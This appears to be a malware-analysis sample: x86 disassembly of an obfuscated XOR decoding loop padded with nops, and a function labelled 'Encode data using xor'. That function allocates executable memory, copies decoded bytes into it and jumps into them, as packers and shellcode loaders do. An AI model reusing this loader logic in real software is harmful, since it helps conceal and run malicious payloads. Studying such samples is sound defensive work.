xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x900e34b5
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40c921
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40c930
pop dword [ebp - 0x28]
mov eax, 0xcd1c98e
sub eax, 0xc91005e
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x4cd19
push 0
mov eax, 0x10b97b77
sub eax, 0x1073139f
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x447a
mov esi, eax
mov edx, 0x7ec85b08
add edx, 0x818084f8
add edx, dword [ebp - 0x28]
mov ebx, 0x51d1a5d0
sub ebx, 0xf544e12f
mov dword [ebp - 0x14], 0xf0370682
mov edi, dword [edx]
sub edi, ebx
xor dword [ebp - 0x14], 0x51279a4c
mov dword [esi], edi
sub dword [ebp - 0x20], 0x1ac53811
add esi, 4
add edx, 4
loop 0x40c989
add eax, 0xff207b50
sub eax, 0xff1f7695
xor ebx, ebx
add ebx, eax
add eax, 0xe5372223
add eax, 0x1ac8dde2
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret